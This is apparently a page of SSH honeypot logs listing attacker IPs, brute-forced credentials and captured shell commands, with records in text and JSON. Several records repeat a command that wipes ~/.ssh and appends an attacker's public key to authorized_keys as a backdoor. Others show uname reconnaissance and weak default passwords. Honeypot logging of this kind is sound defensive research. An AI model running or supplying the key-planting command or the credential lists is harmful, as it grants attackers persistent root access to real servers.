nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 3138 / 15973 (798632 total records)
Passive Observation Node - Active Operational Overview
189.149.254.122
2026-10-11 06:12:36.304318 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / prueba123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: c72c9739934b
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.4s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "c72c9739934b",
  "src_ip": "189.149.254.122",
  "start_time": "2026-10-11T06:12:36.304318Z",
  "end_time": "2026-10-11T06:12:39.667125Z",
  "duration": "3.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "prueba123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
189.149.254.122
2026-10-11 06:11:15.544732 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 4f3893872f22
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "4f3893872f22",
  "src_ip": "189.149.254.122",
  "start_time": "2026-10-11T06:11:15.544732Z",
  "end_time": "2026-10-11T06:11:16.060401Z",
  "duration": "0.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
189.149.254.122
2026-10-11 06:11:13.850923 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 3a646e4818a7
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3a646e4818a7",
  "src_ip": "189.149.254.122",
  "start_time": "2026-10-11T06:11:13.850923Z",
  "end_time": "2026-10-11T06:11:15.474414Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
189.149.254.122
2026-10-11 06:11:12.588444 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / root.2024

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 6c023817c734
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "6c023817c734",
  "src_ip": "189.149.254.122",
  "start_time": "2026-10-11T06:11:12.588444Z",
  "end_time": "2026-10-11T06:11:16.063551Z",
  "duration": "3.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root.2024"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
106.13.228.234
2026-10-11 06:10:50.386181 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 2b3226bf07f7
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "2b3226bf07f7",
  "src_ip": "106.13.228.234",
  "start_time": "2026-10-11T06:10:50.386181Z",
  "end_time": "2026-10-11T06:10:51.534349Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
106.13.228.234
2026-10-11 06:10:47.537426 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 7a02ff3eae2a
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "7a02ff3eae2a",
  "src_ip": "106.13.228.234",
  "start_time": "2026-10-11T06:10:47.537426Z",
  "end_time": "2026-10-11T06:10:50.204495Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
106.13.228.234
2026-10-11 06:10:45.197500 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / heihei

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 8a47fe7668ec
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 6.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "8a47fe7668ec",
  "src_ip": "106.13.228.234",
  "start_time": "2026-10-11T06:10:45.197500Z",
  "end_time": "2026-10-11T06:10:51.537840Z",
  "duration": "6.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "heihei"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
205.210.31.213
2026-10-11 06:10:20.898106 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3f01b4602b57
Client Version: Unknown
Engagement Duration: 0.3s
{
  "id": "3f01b4602b57",
  "src_ip": "205.210.31.213",
  "start_time": "2026-10-11T06:10:20.898106Z",
  "end_time": "2026-10-11T06:10:21.214198Z",
  "duration": "0.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
189.149.254.122
2026-10-11 06:09:47.119999 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: wizard

Record ID: bb922db593ac
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "bb922db593ac",
  "src_ip": "189.149.254.122",
  "start_time": "2026-10-11T06:09:47.119999Z",
  "end_time": "2026-10-11T06:09:48.613688Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "wizard",
      "pass": "wizard"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
179.61.154.156
2026-10-11 06:09:13.640068 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / ------fuck------

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -m
Record ID: 95a7b37ad34f
Client Version: SSH-2.0-Go
Engagement Duration: 21.8s
HASSH Fingerprint: 98f63c4d9c87edbd97ed4747fa031019
{
  "id": "95a7b37ad34f",
  "src_ip": "179.61.154.156",
  "start_time": "2026-10-11T06:09:13.640068Z",
  "end_time": "2026-10-11T06:09:35.440279Z",
  "duration": "21.8",
  "version": "SSH-2.0-Go",
  "hassh": "98f63c4d9c87edbd97ed4747fa031019",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "------fuck------"
  },
  "commands": [
    "uname -s -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
179.61.154.156
2026-10-11 06:09:10.635628 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3d8624527ec3
Client Version: Unknown
Engagement Duration: 2.8s
{
  "id": "3d8624527ec3",
  "src_ip": "179.61.154.156",
  "start_time": "2026-10-11T06:09:10.635628Z",
  "end_time": "2026-10-11T06:09:13.472672Z",
  "duration": "2.8",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
189.149.254.122
2026-10-11 06:08:18.995904 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tcs

Record ID: 8d551b5bff10
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "8d551b5bff10",
  "src_ip": "189.149.254.122",
  "start_time": "2026-10-11T06:08:18.995904Z",
  "end_time": "2026-10-11T06:08:20.558642Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "tcs",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
106.13.228.234
2026-10-11 06:05:09.154866 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kodiak

Record ID: f48bcda31a15
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "f48bcda31a15",
  "src_ip": "106.13.228.234",
  "start_time": "2026-10-11T06:05:09.154866Z",
  "end_time": "2026-10-11T06:05:11.253756Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "kodiak",
      "pass": "kodiak"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
193.46.255.86
2026-10-11 06:02:34.995297 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (3 distinct queries). Vector identities: admin1

Record ID: 57f3e4c8135c
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 4.2s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "57f3e4c8135c",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-11T06:02:34.995297Z",
  "end_time": "2026-10-11T06:02:39.171803Z",
  "duration": "4.2",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "admin1",
      "pass": "admin123"
    },
    {
      "user": "admin1",
      "pass": "admin1"
    },
    {
      "user": "admin1",
      "pass": "admin@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
189.149.254.122
2026-10-11 05:59:56.978687 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yan

Record ID: a0a06e0addf4
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "a0a06e0addf4",
  "src_ip": "189.149.254.122",
  "start_time": "2026-10-11T05:59:56.978687Z",
  "end_time": "2026-10-11T05:59:58.546328Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "yan",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
193.32.209.240
2026-10-11 05:58:59.644567 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e92d4113b613
Client Version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8
Engagement Duration: 0.3s
HASSH Fingerprint: bc9e7273cde22b1209d6673b5fd10bd5
{
  "id": "e92d4113b613",
  "src_ip": "193.32.209.240",
  "start_time": "2026-10-11T05:58:59.644567Z",
  "end_time": "2026-10-11T05:58:59.926411Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
  "hassh": "bc9e7273cde22b1209d6673b5fd10bd5",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
69.5.169.137
2026-10-11 05:58:57.714147 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e2cb761b972a
Client Version: Unknown
Engagement Duration: 0.1s
{
  "id": "e2cb761b972a",
  "src_ip": "69.5.169.137",
  "start_time": "2026-10-11T05:58:57.714147Z",
  "end_time": "2026-10-11T05:58:57.866045Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
91.237.167.19
2026-10-11 05:58:55.569651 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 087a89aff3f1
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "087a89aff3f1",
  "src_ip": "91.237.167.19",
  "start_time": "2026-10-11T05:58:55.569651Z",
  "end_time": "2026-10-11T05:58:55.573121Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
176.53.159.196
2026-10-11 05:52:35.470486 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 0c76e9eb938d
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "0c76e9eb938d",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-11T05:52:35.470486Z",
  "end_time": "2026-10-11T05:52:36.622826Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
38.22.169.6
2026-10-11 05:52:31.640622 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: git / 321

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: ed6d274e9344
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "ed6d274e9344",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-11T05:52:31.640622Z",
  "end_time": "2026-10-11T05:52:32.301685Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "git",
    "pass": "321"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
188.135.26.5
2026-10-11 05:42:47.995715 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f0e951cff28c
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "f0e951cff28c",
  "src_ip": "188.135.26.5",
  "start_time": "2026-10-11T05:42:47.995715Z",
  "end_time": "2026-10-11T05:42:47.999240Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
188.135.26.5
2026-10-11 05:42:22.694439 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 30d4a4aa9e70
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "30d4a4aa9e70",
  "src_ip": "188.135.26.5",
  "start_time": "2026-10-11T05:42:22.694439Z",
  "end_time": "2026-10-11T05:42:22.697869Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
66.228.62.150
2026-10-11 05:41:54.302151 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 377f1b908398
Client Version: uq\xccU(\xf9 ^\xf4\xe3\xf5\xccjZݏ"a'\xaa\x95Ŵ\xbe\xe62\xb8\xacC\xb6\x8bb\xc0/\xc0+\xc0\xc0\xc0\xc0 \xc0\xc0
Engagement Duration: 0.0s
{
  "id": "377f1b908398",
  "src_ip": "66.228.62.150",
  "start_time": "2026-10-11T05:41:54.302151Z",
  "end_time": "2026-10-11T05:41:54.308425Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\\xccU(\\xf9 ^\\xf4\\xe3\\xf5\\xccjZ\u074f\u0007\"a'\\xaa\\x95\u0174\\xbe\\xe62\\xb8\\xac\u0019C\\xb6\\x8bb\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
102.220.161.79
2026-10-11 05:34:29.105017 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs619

Record ID: f75c7b2370ad
Client Version: SSH-2.0-libssh_0.12.0
Engagement Duration: 1.9s
HASSH Fingerprint: a591c4ddccc960a2da8099958270fc92
{
  "id": "f75c7b2370ad",
  "src_ip": "102.220.161.79",
  "start_time": "2026-10-11T05:34:29.105017Z",
  "end_time": "2026-10-11T05:34:31.009075Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.12.0",
  "hassh": "a591c4ddccc960a2da8099958270fc92",
  "attempts": [
    {
      "user": "cs619",
      "pass": "private"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-11 05:29:18.471623 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 100

